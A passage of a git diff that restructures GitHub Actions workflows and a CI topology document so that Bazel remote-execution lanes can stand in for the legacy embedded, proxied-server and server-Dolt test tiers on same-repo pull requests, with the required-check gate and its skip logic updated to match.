(mode skip) nor a - # missing executor secret (mode cache) can silently drop the tier. Forks - # and Dependabot (no secrets), merge_group and every other event keep the - # legacy tier. The step reads no secret or variable and runs no repository - # code. - bazel-embedded-coverage: - name: Bazel embedded coverage + # D2: which legacy tiers below stand down because pr.yml's gated Bazel + # lanes run them instead: `embedded` (the test-embedded-* jobs; Bazel + # `embedded Dolt tier`) and `dolt_server` (test-proxied-cmd and the + # test-server-storage* jobs; Bazel `proxied-server tier` and `server-Dolt + # storage tier`). Each is true only with its committed BAZEL_RETIRES_LEGACY_* + # flag, on a same-repo (not fork) pull_request whose actor is not + # Dependabot. pr.yml runs this same job (policy-tested identical) and its + # gate goes red unless the lanes then ran remotely and passed, so neither + # the kill switch (mode skip) nor a missing executor secret (mode cache) + # can silently drop a tier. Forks and Dependabot (no secrets), merge_group + # and every other event keep the legacy tiers. The step reads no secret or + # variable and runs no repository code. + bazel-coverage: + name: Bazel tier coverage runs-on: ubuntu-latest timeout-minutes: 5 outputs: - covered: ${{ steps.decide.outputs.covered }} + embedded: ${{ steps.decide.outputs.embedded }} + dolt_server: ${{ steps.decide.outputs.dolt_server }} steps: # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS # and not the executor secret (either, evaluated per run, would let one # workflow's re-run disagree with the other's). A same-repo PR whose run # lacks the secret is covered anyway, so pr.yml's gate goes red (mode - # cache) instead of the tier silently moving back. Dependabot runs get - # no Actions secrets by design and keep the legacy tier; github.actor + # cache) instead of a tier silently moving back. Dependabot runs get + # no Actions secrets by design and keep the legacy tiers; github.actor # (unlike triggering_actor) stays the PR's actor on a re-run. - - name: Decide whether the Bazel lane covers the embedded tier + - name: Decide which legacy tiers the Bazel lanes cover id: decide env: - RETIRED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} + RETIRED_EMBEDDED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} + RETIRED_DOLT_SERVER: ${{ env.BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS == 'true' }} PULL_REQUEST: ${{ github.event_name == 'pull_request' }} FORK: ${{ github.event.pull_request.head.repo.fork == true }} DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} run: | - for v in RETIRED PULL_REQUEST FORK DEPENDABOT; do + for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER PULL_REQUEST FORK DEPENDABOT; do case "${!v}" in true|false) ;; *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; esac done - covered=false - if [ "$RETIRED" = true ] && [ "$PULL_REQUEST" = true ] && [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then - covered=true + same_repo_pr=false + if [ "$PULL_REQUEST" = true ] && [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then + same_repo_pr=true fi - echo "covered=$covered" >> "$GITHUB_OUTPUT" - echo "Legacy embedded Dolt tier retired in favour of the Bazel lane: **$covered** (retired: $RETIRED, pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT)" | tee -a "$GITHUB_STEP_SUMMARY" + embedded=false + if [ "$same_repo_pr" = true ] && [ "$RETIRED_EMBEDDED" = true ]; then + embedded=true + fi + dolt_server=false + if [ "$same_repo_pr" = true ] && [ "$RETIRED_DOLT_SERVER" = true ]; then + dolt_server=true + fi + { + echo "embedded=$embedded" + echo "dolt_server=$dolt_server" + } >> "$GITHUB_OUTPUT" + echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server** (pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER)" | tee -a "$GITHUB_STEP_SUMMARY" # End-to-end coverage for proxied-server CLI subcommands, sharded across the # CI matrix. Each sub-test drives the bd CLI subprocess against a real dolt @@ -120,11 +138,13 @@ jobs: # BEADS_TEST_PROXIED_SERVER=1, so no separate build is needed. Shard # assignment is committed in .github/scripts/proxied-cmd-test-shards.txt; # newly-added TestProxiedServer*/TestServerMode* tests hash-distribute until - # listed there. + # listed there. Stands down, with the test-server-storage* jobs, where + # bazel-coverage's dolt_server says pr.yml's gated Bazel `proxied-server + # tier` lane runs it (D2 step 2). test-proxied-cmd: name: Test (Proxied Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' + needs: [detect-ci-tier, bazel-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' runs-on: ubuntu-latest timeout-minutes: 30 strategy: @@ -176,14 +196,16 @@ jobs: # still auto-distribute via hash fallback until the manifest is updated. # # The storage, conformance and cmd test jobs stand down when - # bazel-embedded-coverage says pr.yml's gated Bazel `embedded Dolt tier` - # lane runs them instead; build-embedded keeps running, because its - # artifact also feeds the proxied and server Dolt jobs. + # bazel-coverage says pr.yml's gated Bazel `embedded Dolt tier` lane runs + # them instead (its `embedded` output); the proxied and server Dolt jobs + # when its Bazel `proxied-server tier` and `server-Dolt storage tier` lanes + # do (`dolt_server`). build-embedded's embedded-test-binaries artifact + # feeds all six (and nothing else), so it stands down only when both do. build-embedded: name: Build (Embedded Dolt) - needs: detect-ci-tier - if: needs.detect-ci-tier.outputs.full_embedded == 'true' + needs: [detect-ci-tier, bazel-coverage] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && (needs.bazel-coverage.outputs.embedded != 'true' || needs.bazel-coverage.outputs.dolt_server != 'true') runs-on: ubuntu-latest steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -262,8 +284,8 @@ jobs: test-embedded-storage: name: Test (Embedded Dolt Storage ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-embedded-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-embedded-coverage.outputs.covered != 'true' + needs: [detect-ci-tier, bazel-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' runs-on: ubuntu-latest # The shard script's -test.timeout=20m plus setup. At 15m the 1000-item # batch-apply cap cancelled shard 2/5: TestBatchApplyContract took 604s @@ -305,8 +327,8 @@ jobs: test-embedded-conformance: name: Test (Embedded Dolt Conformance - ${{ matrix.partition }}) - needs: [detect-ci-tier, bazel-embedded-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-embedded-coverage.outputs.covered != 'true' + needs: [detect-ci-tier, bazel-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' runs-on: ubuntu-latest timeout-minutes: 35 strategy: @@ -348,8 +370,8 @@ jobs: test-server-storage: name: Test (Server Dolt Conformance) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' + needs: [detect-ci-tier, bazel-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' runs-on: ubuntu-latest timeout-minutes: 20 steps: @@ -393,8 +415,8 @@ jobs: test-server-storage-full: name: Test (Server Dolt Full Suite ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' + needs: [detect-ci-tier, bazel-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' runs-on: ubuntu-latest timeout-minutes: 20 strategy: @@ -456,8 +478,8 @@ jobs: test-embedded-cmd: name: Test (Embedded Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-embedded-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-embedded-coverage.outputs.covered != 'true' + needs: [detect-ci-tier, bazel-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' runs-on: ubuntu-latest strategy: fail-fast: false @@ -522,7 +544,7 @@ jobs: runs-on: ubuntu-latest needs: - detect-ci-tier - - bazel-embedded-coverage + - bazel-coverage - build-embedded - test-embedded-storage - test-embedded-conformance @@ -540,7 +562,7 @@ jobs: CI_GATE_NAME: PR risk gate CI_GATE_REQUIRED: >- DETECT_CI_TIER - BAZEL_EMBEDDED_COVERAGE + BAZEL_COVERAGE BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE @@ -550,9 +572,10 @@ jobs: TEST_PROXIED_CMD TEST_NIX FULL_EMBEDDED: ${{ needs.detect-ci-tier.outputs.full_embedded }} - BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-embedded-coverage.outputs.covered }} + BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-coverage.outputs.embedded }} + BAZEL_COVERS_DOLT_SERVER: ${{ needs.bazel-coverage.outputs.dolt_server }} DETECT_CI_TIER: ${{ needs.detect-ci-tier.result }} - BAZEL_EMBEDDED_COVERAGE: ${{ needs.bazel-embedded-coverage.result }} + BAZEL_COVERAGE: ${{ needs.bazel-coverage.result }} BUILD_EMBEDDED: ${{ needs.build-embedded.result }} TEST_EMBEDDED_STORAGE: ${{ needs.test-embedded-storage.result }} TEST_EMBEDDED_CONFORMANCE: ${{ needs.test-embedded-conformance.result }} @@ -566,11 +589,19 @@ jobs: if [[ "$FULL_EMBEDDED" != "true" ]]; then skipped_ok="BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD" fi - # The legacy embedded test jobs stand down only where pr.yml's gated - # Bazel lane runs the tier (bazel-embedded-coverage); any other skip - # of them, or a failed or missing decision, fails the gate. + # The legacy tiers' test jobs stand down only where pr.yml's gated + # Bazel lanes run the tier (bazel-coverage), and build-embedded, + # whose artifact only they consume, only where all of them do; any + # other skip of them, or a failed or missing decision, fails the + # gate. if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]]; then skipped_ok="$skipped_ok TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_EMBEDDED_CMD" fi + if [[ "$BAZEL_COVERS_DOLT_SERVER" == "true" ]]; then + skipped_ok="$skipped_ok TEST_PROXIED_CMD TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL" + fi + if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]] && [[ "$BAZEL_COVERS_DOLT_SERVER" == "true" ]]; then + skipped_ok="$skipped_ok BUILD_EMBEDDED" + fi export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index e8d1389a1..324d30a87 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -15,15 +15,18 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" - # D2 step 1: "true" retires PR Risk's legacy embedded-Dolt test jobs on - # same-repo, non-Dependabot pull_requests; pr.yml's - # gated Bazel lane is then the tier's only pre-merge run, and pr.yml's - # gate goes red unless that lane ran remotely and passed. Committed, not a - # repo variable, so a re-run can never change it; must equal pr.yml's / - # pr-risk.yml's copy (scripts/pr_risk_bazel_coverage_test.go). Revert: - # commit "false" in both workflows (in-flight PRs pick it up on their next - # push or merge of main). + # D2: "true" retires a PR Risk legacy tier on same-repo, non-Dependabot + # pull_requests; pr.yml's gated Bazel lane(s) for it are then the tier's + # only pre-merge run, and pr.yml's gate goes red unless they ran remotely + # and passed. Committed, not repo variables, so a re-run can never change + # them; each must equal pr.yml's / pr-risk.yml's copy + # (scripts/pr_risk_bazel_coverage_test.go). Revert: commit "false" in both + # workflows (in-flight PRs pick it up on their next push or merge of main). + # Step 1: the embedded-Dolt test jobs (Bazel `embedded Dolt tier`). BAZEL_RETIRES_LEGACY_EMBEDDED: "true" + # Step 2: the proxied-server and server-Dolt storage test jobs (Bazel + # `proxied-server tier` and `server-Dolt storage tier`). + BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" jobs: @@ -1785,10 +1788,13 @@ jobs: # (PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and # contract corpus, and pr-risk.yml's embedded-Dolt, proxied-server and # server-Dolt storage tiers), all of which stay required, except that - # pr-risk.yml's embedded-Dolt test jobs stand down on same-repo PRs with - # a non-Dependabot actor while BAZEL_RETIRES_LEGACY_EMBEDDED is "true" (its - # bazel-embedded-coverage job; D2 step 1), and ci-gate then requires this - # call's embedded lane to have run remotely and passed. bazel.yml has no pull_request/merge_group trigger of its own: + # pr-risk.yml's embedded-Dolt test jobs (D2 step 1) and its proxied-server + # and server-Dolt storage test jobs (D2 step 2) stand down on same-repo PRs + # with a non-Dependabot actor while BAZEL_RETIRES_LEGACY_EMBEDDED / + # BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS is "true" (its bazel-coverage + # job), and ci-gate then requires this call's embedded, or proxied and + # server-storage, lanes to have run remotely and passed. bazel.yml has no + # pull_request/merge_group trigger of its own: # this call is its only PR run. It gets the four RBE secrets and nothing # else; its rbe job decides remote, cache (forks, Dependabot: local # execution with the anonymous read-only cache, no remote-only lanes) or @@ -1811,45 +1817,58 @@ jobs: build-artifact-name: bazel-ci-build-artifacts integration: "on" - # D2 step 1: pr-risk.yml's bazel-embedded-coverage job, verbatim (policy- - # tested identical). Where it says covered, PR Risk skips its legacy - # embedded test jobs, so ci-gate requires the Bazel embedded lane to have - # run remotely and passed in this run. - bazel-embedded-coverage: - name: Bazel embedded coverage + # D2: pr-risk.yml's bazel-coverage job, verbatim (policy-tested + # identical). Where it says a tier is covered, PR Risk skips that tier's + # legacy test jobs, so ci-gate requires the tier's Bazel lanes to have run + # remotely and passed in this run. + bazel-coverage: + name: Bazel tier coverage runs-on: ubuntu-latest timeout-minutes: 5 outputs: - covered: ${{ steps.decide.outputs.covered }} + embedded: ${{ steps.decide.outputs.embedded }} + dolt_server: ${{ steps.decide.outputs.dolt_server }} steps: # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS # and not the executor secret (either, evaluated per run, would let one # workflow's re-run disagree with the other's). A same-repo PR whose run # lacks the secret is covered anyway, so pr.yml's gate goes red (mode - # cache) instead of the tier silently moving back. Dependabot runs get - # no Actions secrets by design and keep the legacy tier; github.actor + # cache) instead of a tier silently moving back. Dependabot runs get + # no Actions secrets by design and keep the legacy tiers; github.actor # (unlike triggering_actor) stays the PR's actor on a re-run. - - name: Decide whether the Bazel lane covers the embedded tier + - name: Decide which legacy tiers the Bazel lanes cover id: decide env: - RETIRED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} + RETIRED_EMBEDDED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} + RETIRED_DOLT_SERVER: ${{ env.BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS == 'true' }} PULL_REQUEST: ${{ github.event_name == 'pull_request' }} FORK: ${{ github.event.pull_request.head.repo.fork == true }} DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} run: | - for v in RETIRED PULL_REQUEST FORK DEPENDABOT; do + for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER PULL_REQUEST FORK DEPENDABOT; do case "${!v}" in true|false) ;; *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; esac done - covered=false - if [ "$RETIRED" = true ] && [ "$PULL_REQUEST" = true ] && [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then - covered=true + same_repo_pr=false + if [ "$PULL_REQUEST" = true ] && [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then + same_repo_pr=true fi - echo "covered=$covered" >> "$GITHUB_OUTPUT" - echo "Legacy embedded Dolt tier retired in favour of the Bazel lane: **$covered** (retired: $RETIRED, pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT)" | tee -a "$GITHUB_STEP_SUMMARY" + embedded=false + if [ "$same_repo_pr" = true ] && [ "$RETIRED_EMBEDDED" = true ]; then + embedded=true + fi + dolt_server=false + if [ "$same_repo_pr" = true ] && [ "$RETIRED_DOLT_SERVER" = true ]; then + dolt_server=true + fi + { + echo "embedded=$embedded" + echo "dolt_server=$dolt_server" + } >> "$GITHUB_OUTPUT" + echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server** (pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER)" | tee -a "$GITHUB_STEP_SUMMARY" ci-gate: name: CI Gate / Required @@ -1879,7 +1898,7 @@ jobs: - lint - windows-make-shell - bazel - - bazel-embedded-coverage + - bazel-coverage if: ${{ always() }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1919,8 +1938,9 @@ jobs: BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE - BAZEL_EMBEDDED_COVERAGE + BAZEL_COVERAGE BAZEL_EMBEDDED_RETIRED + BAZEL_DOLT_SERVER_RETIRED BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} CHECK_BUILD_TAGS: ${{ needs.check-build-tags.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} @@ -1960,10 +1980,11 @@ jobs: BAZEL_CALL: ${{ needs.bazel.result }} BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} - # D2 step 1: whether PR Risk retired its legacy embedded tier for - # this PR (BAZEL_EMBEDDED_RETIRED below). - BAZEL_EMBEDDED_COVERAGE: ${{ needs.bazel-embedded-coverage.result }} - BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-embedded-coverage.outputs.covered }} + # D2: which legacy tiers PR Risk retired for this PR + # (BAZEL_*_RETIRED below). + BAZEL_COVERAGE: ${{ needs.bazel-coverage.result }} + BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-coverage.outputs.embedded }} + BAZEL_COVERS_DOLT_SERVER: ${{ needs.bazel-coverage.outputs.dolt_server }} run: | skipped_ok="" if [[ "$GITHUB_EVENT_NAME" == "merge_group" ]]; then @@ -1976,15 +1997,27 @@ jobs: skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" export BAZEL - # Where PR Risk's legacy embedded tier is retired, this run's Bazel - # embedded lane is the tier's only pre-merge run: it must have run + # Where PR Risk retired a legacy tier, this run's Bazel lanes for + # it are the tier's only pre-merge run: each must have run # remotely and passed. Mode skip (the farm switch off), or any # other result, is red whatever bazel-gate.sh allows. - BAZEL_EMBEDDED_RETIRED=success - if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]] && { [[ "$BAZEL_RBE_MODE" != "remote" ]] || [[ "$BAZEL_EMBEDDED" != "success" ]]; }; then - BAZEL_EMBEDDED_RETIRED="not-run-remotely" - echo "::error::PR Risk's legacy embedded Dolt tier is retired (BAZEL_RETIRES_LEGACY_EMBEDDED) and the Bazel embedded lane did not run remotely and pass (mode '${BAZEL_RBE_MODE:-none}', result '${BAZEL_EMBEDDED:-none}'). If remote execution is off on purpose, commit BAZEL_RETIRES_LEGACY_EMBEDDED: \"false\" in pr.yml and pr-risk.yml and push this PR again." - fi - export BAZEL_EMBEDDED_RETIRED + # retired ID FLAG COVERED TIER LANE...: set and export ID. + retired() { + local id="$1" flag="$2" covered="$3" tier="$4" result=success lane + shift 4 + if [[ "$covered" == "true" ]]; then + [[ "$BAZEL_RBE_MODE" == "remote" ]] || result="not-run-remotely" + for lane in "$@"; do + [[ "${!lane:-}" == "success" ]] || result="not-run-remotely" + done + if [[ "$result" != "success" ]]; then + echo "::error::PR Risk's legacy $tier is retired ($flag) and its Bazel lanes ($*) did not all run remotely and pass (mode '${BAZEL_RBE_MODE:-none}'). If remote execution is off on purpose, commit $flag: \"false\" in pr.yml and pr-risk.yml and push this PR again." + fi + fi + printf -v "$id" '%s' "$result" + export "${id?}" + } + retired BAZEL_EMBEDDED_RETIRED BAZEL_RETIRES_LEGACY_EMBEDDED "$BAZEL_COVERS_EMBEDDED" "embedded Dolt tier" BAZEL_EMBEDDED + retired BAZEL_DOLT_SERVER_RETIRED BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS "$BAZEL_COVERS_DOLT_SERVER" "proxied-server and server-Dolt storage tiers" BAZEL_PROXIED BAZEL_SERVER_STORAGE export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 8f5507567..466afb60e 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -51,9 +51,9 @@ Current PR-related workflow names: call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in - `pr.yml` and `pr-risk.yml`, except where `BAZEL_EMBEDDED` runs in their - place (see - [Legacy Embedded Tier Retirement](#legacy-embedded-tier-retirement-d2-step-1)). + `pr.yml` and `pr-risk.yml`, except where `BAZEL_EMBEDDED`, or + `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`, run in their place (see + [Legacy Tier Retirement](#legacy-tier-retirement-d2)). `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable or the fork flag: mode `skip` allows every Bazel id to skip, modes `local` and `cache` allow only the remote-only `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, @@ -82,15 +82,16 @@ Current PR-related workflow names: farm is down, or the beads CI RBE client certificate expires (about 2027-09-27; a partial secret set also fails every same-repo run), fix `main` (`make bazel-sync`) or renew the secrets. To turn remote execution - off instead, first commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"` in both + off instead, first commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"` and + `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "false"` in both `pr.yml` and `pr-risk.yml` (see - [Legacy Embedded Tier Retirement](#legacy-embedded-tier-retirement-d2-step-1)), + [Legacy Tier Retirement](#legacy-tier-retirement-d2)), then unset the `RBE_WEST_WORKERS` repo variable: same-repo runs then take mode `skip`, which the gate accepts (fork PRs still build, in mode `cache`, - so drift on `main` still reaches them). Unsetting the variable while the + so drift on `main` still reaches them). Unsetting the variable while a flag is still `"true"` turns `CI Gate / Required` red on every same-repo PR - (`BAZEL_EMBEDDED_RETIRED`), because PR Risk no longer runs the legacy - embedded tier for them. If rbe-west closes the read-only cache, fork runs + (`BAZEL_EMBEDDED_RETIRED`, `BAZEL_DOLT_SERVER_RETIRED`), because PR Risk + no longer runs those legacy tiers for them. If rbe-west closes the read-only cache, fork runs fall back to executing everything locally (slower, still green). If it is slow rather than closed, each lookup gives up after `fork-cache`'s 15 s `--remote_timeout` (times its retries), and Bazel's failure circuit @@ -107,7 +108,7 @@ Current PR-related workflow names: [Trusted-Author Fork PRs](#trusted-author-fork-prs-bazel-farm). - `.github/workflows/pr-risk.yml`: `PR Risk` Runs on `pull_request` and `merge_group`. Contains embedded Dolt risk - detection, the `bazel-embedded-coverage` decision, embedded build/test + detection, the `bazel-coverage` decision, embedded build/test shards, the proxied and server Dolt shards, the Nix flake smoke check, and the risk aggregate gate `PR Risk / PR Risk Gate / Required`. - `.github/workflows/main.yml`: `Main` @@ -458,11 +459,14 @@ Do not require these existing check names directly: - `Test (ubuntu-latest)` - `Test (macos-latest)` - `Test (storage domain + uow)` -- `Bazel embedded coverage` +- `Bazel tier coverage` - `Build (Embedded Dolt)` - `Test (Embedded Dolt Storage 1/5)` through `Test (Embedded Dolt Storage 5/5)` - `Test (Embedded Dolt Conformance - core)` and `- audit` - `Test (Embedded Dolt Cmd 1/20)` through `Test (Embedded Dolt Cmd 20/20)` +- `Test (Proxied Dolt Cmd 1/15)` through `Test (Proxied Dolt Cmd 15/15)` +- `Test (Server Dolt Conformance)` +- `Test (Server Dolt Full Suite 1/16)` through `Test (Server Dolt Full Suite 16/16)` - `Test (Windows - smoke)` - `Check formatting` - `Lint` @@ -581,7 +585,7 @@ intentionally not kept in lockstep with later leaf additions and renames; use `.github/workflows/pr-risk.yml` has a companion aggregate for `detect-ci-tier`, -`bazel-embedded-coverage`, `build-embedded`, the embedded, proxied and server +`bazel-coverage`, `build-embedded`, the embedded, proxied and server Dolt test jobs, and `test-nix`. `.github/scripts/ci-gate.sh` is a small shell evaluator. It fails on any @@ -593,12 +597,15 @@ intentionally absent for that event or risk tier: - In the risk aggregate, `BUILD_EMBEDDED` and the embedded, proxied and server Dolt test ids may be `skipped` when `FULL_EMBEDDED != true`. - In the risk aggregate, `TEST_EMBEDDED_STORAGE`, `TEST_EMBEDDED_CONFORMANCE` - and `TEST_EMBEDDED_CMD` may also be `skipped` when - `bazel-embedded-coverage` reported `covered=true`. `BAZEL_EMBEDDED_COVERAGE` - (that job's result) must be `success`. -- In the baseline aggregate, `BAZEL_EMBEDDED_COVERAGE` must be `success` and - `BAZEL_EMBEDDED_RETIRED` is red when `covered=true` but the Bazel embedded - lane did not run remotely and pass. + and `TEST_EMBEDDED_CMD` may also be `skipped` when `bazel-coverage` + reported `embedded=true`; `TEST_PROXIED_CMD`, `TEST_SERVER_STORAGE` and + `TEST_SERVER_STORAGE_FULL` when it reported `dolt_server=true`; and + `BUILD_EMBEDDED` when it reported both. `BAZEL_COVERAGE` (that job's + result) must be `success`. +- In the baseline aggregate, `BAZEL_COVERAGE` must be `success`; + `BAZEL_EMBEDDED_RETIRED` is red when `embedded=true` but the Bazel embedded + lane did not run remotely and pass, and `BAZEL_DOLT_SERVER_RETIRED` when + `dolt_server=true` but the proxied and server-storage lanes did not. - All baseline jobs must be `success`. This keeps branch protection pointed at stable aggregate jobs while preserving @@ -650,138 +657,181 @@ The current embedded Dolt topology already fits the required-check model: - `detect-ci-tier` always runs. - `build-embedded`, `test-embedded-storage`, `test-embedded-conformance` and - `test-embedded-cmd` use job-level `if`; the three test jobs also stand down - where the Bazel lane covers them (next section). + `test-embedded-cmd` use job-level `if`; the three test jobs (and, with the + proxied and server jobs, `build-embedded`) also stand down where the Bazel + lanes cover them (next section). - `.github/scripts/ci-embedded-tier.sh` runs full embedded coverage for `push`, `merge_group`, unavailable PR diff bounds, and risky paths. - Docs-only PRs can skip the embedded matrix without leaving the required gate pending, because the aggregate job still runs. -### Legacy Embedded Tier Retirement (D2 Step 1) +### Legacy Tier Retirement (D2) -Since D2 step 1, `pr-risk.yml`'s legacy embedded test jobs -(`test-embedded-storage` x5, `test-embedded-conformance` x2, -`test-embedded-cmd` x20: 27 jobs) do not run on same-repo PRs. There, -`pr.yml`'s gated Bazel lane `Bazel / embedded Dolt tier` (`bazel.yml`'s -`bazel-embedded`, `--config=embedded`, the same tests and shard manifests) -is the tier's only pre-merge run, and `CI Gate / Required` requires it to -have run remotely and passed. +D2 retires `pr-risk.yml`'s legacy Dolt tiers on same-repo PRs, one step at +a time, where `pr.yml`'s gated Bazel lanes run the same tests: -- Switch: the committed workflow env `BAZEL_RETIRES_LEGACY_EMBEDDED`, set to - the same literal (`"true"` or `"false"`) in `pr.yml` and `pr-risk.yml` - (policy-tested). It is deliberately not the `RBE_WEST_WORKERS` repo + + +| Step | Legacy jobs (`pr-risk.yml`) | Bazel lanes (`bazel.yml`) | Flag | `pr.yml` gate id | +| --- | --- | --- | --- | --- | +| 1 | `test-embedded-storage` x5, `test-embedded-conformance` x2, `test-embedded-cmd` x20 | `bazel-embedded` (`--config=embedded`) | `BAZEL_RETIRES_LEGACY_EMBEDDED` | `BAZEL_EMBEDDED_RETIRED` | +| 2 | `test-proxied-cmd` x15, `test-server-storage`, `test-server-storage-full` x16 | `bazel-proxied` (`--config=doltserver-proxied`), `bazel-server-storage` (`--config=doltserver-integration`) | `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS` | `BAZEL_DOLT_SERVER_RETIRED` | + + + +`build-embedded`, whose `embedded-test-binaries` artifact feeds exactly +those six legacy jobs and nothing else, also stands down where both steps +apply. The Bazel lanes run the same tests with the same shard scripts and +manifests. On those PRs they are the tiers' only pre-merge run, and +`CI Gate / Required` requires them to have run remotely and passed. + +- Switch: one committed workflow env flag per step (table above), each set + to the same literal (`"true"` or `"false"`) in `pr.yml` and `pr-risk.yml` + (policy-tested). They are deliberately not the `RBE_WEST_WORKERS` repo variable. A variable is read again by every run and re-run, and the two workflows are separate runs, so one could see it on and the other off; see "Why a committed flag" below. - Who: `pull_request` runs from same-repo branches (not forks) whose - `github.actor` is not `dependabot[bot]`, while the flag is `"true"`. The - executor secret is deliberately not part of the decision: a same-repo PR - whose run lacks it (secret deleted or emptied) is still covered, takes - Bazel mode `cache` (no embedded lane) and so turns `CI Gate / Required` - red, instead of quietly moving back to a legacy tier that one of its - runs may already have skipped. -- Everyone else keeps the legacy tier unchanged: + 